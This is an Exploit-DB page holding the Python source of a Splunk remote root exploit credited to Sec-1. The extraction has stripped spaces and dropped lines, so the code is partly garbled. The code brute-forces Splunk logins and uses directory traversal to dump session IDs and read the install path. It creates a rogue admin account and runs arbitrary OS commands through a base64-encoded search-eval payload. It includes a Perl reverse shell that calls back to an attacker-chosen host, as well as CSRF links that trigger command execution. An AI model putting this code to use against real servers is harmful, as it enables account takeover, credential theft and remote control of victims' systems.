http://www.exploit-db.com/exploits/18245/
from sec1httplib.requestbuilder import Requestobj |
from sec1httplib.thread_dispatcher import * |
from optparse import OptionParser |
Source:http://www.sec-1.com/blog/?p=233 |
Author:GaryO'leary-Steele@Sec-1Ltd
|
FullPackage:http://www.exploit-db.com/sploits/18245.zip |
C:\git\splunk>pythonsplunk_exploit.py-h
|
Usage:Runsplunk_exploit.py-htoseeusageoptions
|
--versionshowprogram'sversionnumberandexit
|
-h,--helpshowthishelpmessageandexit
|
-tTARGETHOSTIPAddressorhostnameoftargetsplunkserver |
-wSPLUNKWEB_PORTTheSplunkadmininterfaceport(Default:8000) |
-dSPLUNKD_PORTTheSplunkdWebAPIport(Default:8089) |
-uUSERFILEFilecontainingusernamesforuseindictionaryattack
|
-pPASSFILEFilecontainingpasswordsforuseindictionaryattack
|
-UUSERNAMEAdminusername(ifknown) |
-PPASSWORDAdminpasword(ifknown) |
ToDo:Fixbugwhenattempingtogethomedir |
#Requestobj.set_proxy("127.0.0.1","8080") |
misc_lock =
threading.Lock() |
def
set_total( self ,total): |
def
print_remaining( self ): |
print
"[i]%sof%sremaining" % ( self .total, self .statictotal) |
def request_factory_splunkd(targeturl,username,password,splunk_object):
|
"Factorytogenerateattempt_loginfunctions" |
#Dontcontinueifwealreadyhaveadmin
|
if
splunk_object.got_admin = =
1 : |
login_url = "{0}/services/auth/login" . format (targeturl.rstrip()) |
poststr = "username={0}&password={1}" . format (username.rstrip(),password.rstrip()) |
r.rawpostdata( "POST" ,poststr) |
counter.print_remaining() |
if
result.find_data( "Remotelogindisabledbecauseyouareusingafreelicense" ): |
print
"[i]Freelicenceinuse.Noremoteloginrequired" |
print
"[!]runtheexploitagainwiththe-fflag" |
if
result.find_data( "sessionKey" ): |
print
"[***]Cracked:%s:%s\n" % (username.rstrip(),password.rstrip())
|
if
splunk_object.user_is_admin(username.rstrip(),password.rstrip()): |
splunk_object.username = username.rstrip() |
splunk_object.password = password.rstrip() |
splunk_object.got_admin = 1 |
#print"ADMIN",splunk_object.got_admin |
splunk_object.session_key = re.findall( "<sessionKey>(.+?)</sessionKey>" ,result.body)[ 0 ] |
print
"[i]Errorgettingauthdetails" ,err |
return
(username,password) |
def request_factory_splunkweb(targeturl,username,password,cval,splunk_object):
|
"Factorytogenerateattempt_loginfunctions" |
if
splunk_object.got_admin = =
1 : |
login_url = "{0}/en-GB/account/login" . format (targeturl.rstrip()) |
poststr = "cval={0}&return_to=%2Fen-GB%2F&username={1}&password={2}" . format (cval,username.rstrip(),password.rstrip()) |
r.rawpostdata( "POST" ,poststr) |
r.set_custom_cookie(copyglobaljar = 1 ) |
counter.print_remaining() |
if
result.find_data( "Thisresourcecanbefoundat" ): |
print
"[***]Cracked:%s:%s" % (username.rstrip(),password.rstrip())
|
if
splunk_object.user_is_admin(username.rstrip(),password.rstrip()): |
splunk_object.username = username.rstrip() |
splunk_object.password = password.rstrip() |
splunk_object.got_admin = 1 |
print
"[i]Errorgettingauthdetails" ,err |
return
(username,password) |
class SplunkTarget( object ): |
def
__init__( self ,hostaddr,splunkd_port = 8089 ,splunkweb_port = 8000 ): |
self .splunkd_port = splunkd_port |
self .splunkweb_port = splunkweb_port |
self .web_authed = 0 #areweauthedtothewebinterface
|
info = Requestobj( "https://{0}:{1}/services/server/info/server-info" . format (hostaddr,splunkd_port)).makerequest() |
self .splunkd_url = "{0}://{1}" . format (urlparse.urlparse(info.url).scheme,urlparse.urlparse(info.url).netloc) |
info = Requestobj( "http://{0}:{1}/services/server/info/server-info" . format (hostaddr,splunkd_port)).makerequest() |
self .splunkd_url = "{0}://{1}" . format (urlparse.urlparse(info.url).scheme,urlparse.urlparse(info.url).netloc) |
if
"server-info" in
info.body: |
self .os_build = re.findall( "os_build\">(.+?)<" ,info.body)[ 0 ] |
self .os_name = re.findall( "os_name\">(.+?)<" ,info.body)[ 0 ] |
self .os_version = re.findall( "os_version\">(.+?)<" ,info.body)[ 0 ] |
self .server_name = re.findall( "serverName\">(.+?)<" ,info.body)[ 0 ] |
self .splunk_version = re.findall( "\"version\">(.+?)<" ,info.body)[ 0 ] |
self .cpu_arch = re.findall( "cpu_arch\">(.+?)<" ,info.body)[ 0 ] |
print
"[i]Splunkdserverfound.Version:{0}" . format ( self .splunk_version) |
print
"[i]OS:{0}{1}{2}" . format ( self .os_name, self .os_version, self .os_build) |
print
"Errorgettingsplunkserverinfo" ,err |
splunkweb_info = Requestobj( "http://{0}:{1}/en-GB/account/login" . format (hostaddr,splunkweb_port)).makerequest() |
self .splunkweb_url = "{0}://{1}" . format (urlparse.urlparse(splunkweb_info.url).scheme,urlparse.urlparse(splunkweb_info.url).netloc) |
splunkweb_info = Requestobj( "https://{0}:{1}/en-GB/account/login" . format (hostaddr,splunkweb_port)).makerequest() |
self .splunkweb_url = "{0}://{1}" . format (urlparse.urlparse(splunkweb_info.url).scheme,urlparse.urlparse(splunkweb_info.url).netloc) |
if
"Splunk" in
splunkweb_info.body: |
print
"[i]Splunkwebinterfacediscovered" |
self .cval = splunkweb_info.extract_data_body( 'name="cval"value="(\d+?)"' )[ 0 ] |
print
"[i]CVAL:{0}" . format ( self .cval) |
print
"[i]Errorgettingcval" |
url = "{0}/en-GB/manager/system/licensing" . format ( self .splunkweb_url) |
lic = Requestobj(url).makerequest() |
if
"<h1>Freelicensegroup</h1>" in lic.body: |
print
"[i]Configuredwithfreelicence.Noauthrequired" |
#print"[i]Cannotconnecttosplunkdusingfreelicence"
|
def
account_bruteforce( self ,userfile,passfile): |
q = ThreadDispatcher(store_return = 1 ,max_threads = self .max_threads) |
for
username in
set ( open (userfile).readlines()): |
for
password in
set ( open (passfile).readlines()): |
q.add(request_factory_splunkd( self .splunkd_url,username,password, self )) |
q.add(request_factory_splunkweb( self .splunkweb_url,username,password, self .cval, self )) |
print
"[Error]Notconnected" |
counter.set_total( len (q.call_queue)) |
for
x in range (q.return_queue._qsize()): |
username,password = q.return_queue.get(x) |
username = username.rstrip() |
password = password.rstrip() |
print
"[***]Cracked:%s:%s" % (username,password) |
def
user_is_admin( self ,username,password): |
#attempttoauthviasplunkdtogetasessionkey
|
url = Requestobj( "{0}/services/authentication/httpauth-tokens" . format ( self .splunkd_url)) |
url.basic_auth(username,password) |
context = url.makerequest() |
if
'<title>httpauth-tokens' in context.body: |
admin_only = Requestobj( "{0}/en-US/manager/launcher/server/settings/settings?action=edit" . format ( self .splunkweb_url)).makerequest() |
if
admin_only.find_data( "PortthatSplunkWebuses" ): |
print
"[i]User:{0}ISANADMIN." . format (username) |
print
"[i]User:{0}isnotanadmin" . format (username) |
def
search_payload_cmd( self ,payload): |
"Generateacommandexecutionpayload" |
encoded = urllib.quote(base64.b64encode(payload)) |
encodedpl = """searchindex=_internalsource=*splunkd.log|mappyx=eval("sys.modules['os'].system(base64.b64decode('%s'))")"""
% encoded |
def
get_splunk_home( self ): |
if
not self .username or not
self .password:
|
print
"[i]Validusernameandpasswordrequired" |
r = Requestobj( "{0}/services/properties/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fopt%2fsplunk%2fetc%2fsplunk-launch/default/SPLUNK_HOME" . format ( self .splunkd_url)) |
r.basic_auth( self .username, self .password) |
splunkdir = r.makerequest() |
if
"ERROR" not
in splunkdir.body
and "Remotelogindisabled"
not in splunkdir.body
and self .splunkd: |
self .splunk_home = splunkdir.body.strip() |
print
"[***]Couldnotgethomedirsettingdefault.." |
if
"windows" in
self .os_name.lower(): |
self .splunk_home = "c:\\programfiles\\splunk" |
self .splunk_home = "/opt/splunk" |
print
"SettingSplunkhomedirto:{0}" . format ( self .splunk_home) |
print
"[i]Erroroccuredwhileattemptingtoreadsplunkhomedir" ,err |
login_url = "{0}/services/auth/login" . format ( self .splunkd_url) |
poststr = "username={0}&password={1}" . format ( self .username.rstrip(), self .password.rstrip()) |
r.rawpostdata( "POST" ,poststr) |
if
result.find_data( "Remotelogindisabledbecauseyouareusingafreelicense" ): |
print
"[i]Freelicenceinuse.Noremoteloginrequired" |
print
"[!]runtheexploitagainwiththe-fflag" |
if
result.find_data( "sessionKey" ): |
self .session_key = re.findall( "<sessionKey>(.+?)</sessionKey>" ,result.body)[ 0 ] |
login_page = Requestobj( "{0}/en-GB/account/login" . format ( self .splunkweb_url)).makerequest() #Getsessioncookie |
cval = login_page.extract_data_body( 'name="cval"value="(\d+?)"' ) |
r = Requestobj(login_page.url) |
poststr = "cval={0}&return_to=%2Fen-GB%2F&username={1}&password={2}" . format (cval, self .username.rstrip(), self .password.rstrip()) |
r.rawpostdata( "POST" ,poststr) |
if
result.find_data( "Thisresourcecanbefoundat" ): |
def
add_admin( self ,username,password,sessionKey): |
if
self .splunkd
= = 1 and self .username and self .password: |
url = Requestobj( "{0}/servicesNS/-/launcher/authentication/users" . format ( self .splunkd_url)) |
url.basic_auth( self .username, self .password) |
url.rawpostdata( "POST" , "roles=user&roles=admin&name={0}&defaultApp=search&password={1}&email=&createrole=0&realname=" . format (username,password)) |
url.add_header( "authorization" , "Splunk{0}" . format (sessionKey)) |
if
str (result.code) = =
"201" : |
print
"[!]Notconnectedtosplunkd.Checkportandcreds" |
def
dump_session_ids( self ): |
"Exploitsdirtraversalissuetodumpsessionids" |
print
"[i]Attempingtodumpsessions" |
if
self .splunkd
= = 1 and self .username and self .password: |
#url=Requestobj("{0}/servicesNS/-/system/properties/..%2f..%2f..%2f..%2f..%2fopt%2fsplunk%2fvar%2flog%2fsplunk%2fweb_service.log%00/default".format(self.splunkd_url)) |
url = Requestobj( "{0}/servicesNS/-/system/properties/..%2f..%2f..%2fvar%2flog%2fsplunk%2fweb_service.log%00/default" . format ( self .splunkd_url)) |
url.basic_auth( self .username, self .password) |
if
"session=" in
result.body: |
print
"[i]SessionID'sextractedfromweb_service.log" |
sessions = re.findall( "session=(.+?)[<\s]" ,result.body) |
for
session in set (sessions): |
def
perl_revshell( self ,revhost,port): |
cmd = """perl-e'useSocket;$i="%s";$p=%s;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'""" % (revhost,port)
|
self .search_exploit_cmd(cmd) |
def
search_exploit_cmd( self ,command): |
"Executecommandsviasearchexploit." |
if
self .splunkweb
= = 1 and self .got_admin: |
print
"[i]ExecutingCommand:{0}" . format (command) |
attack_body = self .search_payload_cmd(command) # |
attack_body = urllib.quote(urllib.unquote(attack_body)) |
shell_req = Requestobj( "{0}/en-GB/api/search/jobs" . format ( self .splunkweb_url)) |
shell_req.rawpostdata( "POST" , "search={0}&status_buckets=300&namespace=search&ui_dispatch_app=search&ui_dispatch_view=flashtimeline&auto_cancel=100&required_field_list=*&earliest_time=&latest_time=" . format (attack_body)) |
for
c in shell_req.get_cookiejar():
|
shell_req.add_header( "X-Requested-With" , "XMLHttpRequest" ) |
shell_req.add_header( "X-Splunk-Session" ,c.value) |
x = shell_req.makerequest() |
elif
self .splunkd
= = 1 and self .got_admin and self .session_key: |
print
"[i]ExecutingCommand:{0}" . format (command) |
attack_body = self .search_payload_cmd(command) # |
attack_body = urllib.quote(urllib.unquote(attack_body)) |
shell_req = Requestobj( "{0}/servicesNS/admin/search/search/jobs" . format ( self .splunkd_url)) |
shell_req.rawpostdata( "POST" , "ui_dispatch_app=search&search={0}&required_field_list=%2A&ui_dispatch_view=flashtimeline&max_count=10000&time_format=%25s.%25Q&latest_time=&status_buckets=300&earliest_time=&auto_cancel=100" . format (attack_body)) |
shell_req.add_header( "authorization" , "Splunk{0}" . format ( self .session_key)) |
x = shell_req.makerequest() |
print
"Session" , self .session_key |
print
"Admin" , self .got_admin |
print
"Splunkd" , self .splunkd |
print
"[i]Exploitfailed.Notconnectedoraccessdenied" |
command = raw_input ( "blind_shell>" ) # |
if
command.rstrip() = =
"exit" : break |
self .search_exploit_cmd(command) |
def
get_csrf_link_cmd( self ,command): |
return
"{0}/en-US/app/search/flashtimeline?q={1}&earliest=0" . format ( self .splunkweb_url, self .search_payload_cmd(command)) |
def
get_csrf_link_revshell( self ,revhost,port): |
cmd = """perl-e'useSocket;$i="%s";$p=%s;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'""" % (revhost,port)
|
return
"{0}/en-US/app/search/flashtimeline?q={1}&earliest=0" . format ( self .splunkweb_url, self .search_payload_cmd(cmd)) |
def
search_exploit_psudoshell( self ): |
"Executecommandsviasearchexploit.Payloadimplementsavirtualshell" |
if
not self .username or not
self .password:
|
print
"[i]Validusernameandpasswordrequired" |
print
"[error]ManagmentWebInterfacerequiredforthispayload" |
base_dir = self .get_splunk_home() |
#print"Failedtogetsplunkbasedir"
|
command = raw_input ( "shell>" ) # |
if
command.rstrip() = =
"exit" : break |
if
"windows" in
self .os_name.lower(): |
tmp = ">\"{0}\\share\splunk\search_mrsparkle\exposed\js\.tmp\"" . format (base_dir) |
command = command
+ tmp #'"'+tmp+'"'
|
tmp = ">{0}/share/splunk/search_mrsparkle/exposed/js/.tmp" . format (base_dir) |
attack_body = self .search_payload_cmd(command) # |
attack_body = urllib.quote(urllib.unquote(attack_body)) |
psudoshell_req = Requestobj( "{0}/en-GB/api/search/jobs" . format ( self .splunkweb_url)) |
psudoshell_req.rawpostdata( "POST" , "search={0}&status_buckets=300&namespace=search&ui_dispatch_app=search&ui_dispatch_view=flashtimeline&auto_cancel=100&required_field_list=*&earliest_time=&latest_time=" . format (attack_body)) |
for
c in psudoshell_req.get_cookiejar():
|
psudoshell_req.add_header( "X-Requested-With" , "XMLHttpRequest" ) |
psudoshell_req.add_header( "X-Splunk-Session" ,c.value) |
x = psudoshell_req.makerequest() |
print
Requestobj( "{0}/en-US/static/@105575/js/.tmp" . format ( self .splunkweb_url)).makerequest().body |
"[w00p]Weappeartohaveaccess.Pleaseselectapayload" |
print
"[1]\tPseudoInteractiveShell" |
print
"[DISABLED]\tPseudoInteractiveShell" |
print
"[2]\tPerlReverseShell" |
print
"[3]\tCommandExec(Blind)" |
option = input ( "Pleaseselectoption1-3:" ) |
self .search_exploit_psudoshell() |
rev_host = raw_input ( "EnterCallbackHost:" ) |
rev_port = raw_input ( "EnterCallbackPort:" ) |
self .perl_revshell(rev_host,rev_port) |
banner = "-----==[SlunkRemoteRootExploit]=-----\n" |
parser = OptionParser(usage = "Run%prog-htoseeusageoptions" , |
help = "IPAddressorhostnameoftargetsplunkserver" ) |
action = "store_true" , #optionalbecauseactiondefaultsto"store"
|
help = "GenerateCSRFURLonly" ) |
action = "store_true" , #optionalbecauseactiondefaultsto"store"
|
help = "TargetisconfiguredtouseaFreelicenceanddoesnotpermitremoteauth" ) |
action = "store" , #optionalbecauseactiondefaultsto"store"
|
help = "TheSplunkadmininterfaceport(Default:8000)" ) |
action = "store" , #optionalbecauseactiondefaultsto"store"
|
help = "TheSplunkdWebAPIport(Default:8089)" ) |
action = "store" , #optionalbecauseactiondefaultsto"store"
|
help = "Filecontainingusernamesforuseindictionaryattack" ) |
action = "store" , #optionalbecauseactiondefaultsto"store"
|
help = "Filecontainingpasswordsforuseindictionaryattack" ) |
action = "store" , #optionalbecauseactiondefaultsto"store"
|
help = "Adminusername(ifknown)" ) |
action = "store" , #optionalbecauseactiondefaultsto"store"
|
help = "Adminpasword(ifknown)" ) |
action = "store" , #optionalbecauseactiondefaultsto"store"
|
help = "Attempttoaddadminuserviaprivupdirectorytraversalmagic.Acceptsusername:password" ) |
(options,args) = parser.parse_args() |
parser.error( "Targethostrequired" ) |
elif
options.targethost and
options.free_lic_noauth: |
x = SplunkTarget(options.targethost,splunkweb_port = options.splunkweb_port,splunkd_port = options.splunkd_port) |
elif
options.targethost and
options.csrf: |
x = SplunkTarget(options.targethost,splunkweb_port = options.splunkweb_port,splunkd_port = options.splunkd_port) |
print
"[*]Entercommandtorunorenter'revshell'foraperlreverseshell:" |
rev_host = raw_input ( "EnterCallbackHost:" ) |
rev_port = raw_input ( "EnterCallbackPort:" ) |
x.perl_revshell(rev_host,rev_port) |
print
x.get_csrf_link_revshell(rev_host,rev_port) |
print
x.get_csrf_link_cmd(option.strip()) |
elif
options.targethost and
options.username and
options.password and
options.userpair: |
print
"[i]Attempingprivup" |
username,password = options.userpair.split( ":" ) |
print
"-erequiresusernamepasswordpairinformatusername:password" |
x = SplunkTarget(options.targethost,splunkweb_port = options.splunkweb_port,splunkd_port = options.splunkd_port) |
x.username =
options.username |
x.password = options.password |
sessionids =
x.dump_session_ids() |
if
x.add_admin(username,password,session): |
elif
options.targethost and
options.username and
options.password: |
print
"[i]Usingstaticusernameandpassword" |
x = SplunkTarget(options.targethost,splunkweb_port = options.splunkweb_port,splunkd_port = options.splunkd_port) |
x.username =
options.username |
x.password = options.password |
if
x.user_is_admin(options.username,options.password):
|
elif
options.targethost and
options.userfile and
options.passfile: |
print
"[i]Lauchingbruteforceattack" |
x = SplunkTarget(options.targethost,splunkweb_port = options.splunkweb_port,splunkd_port = options.splunkd_port) |
x.account_bruteforce(options.userfile,options.passfile) |
print
"Pleaseensureyouhavesuppliedeitherausernameandpasswordorauserandpasswordfiletobruteforce" |
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理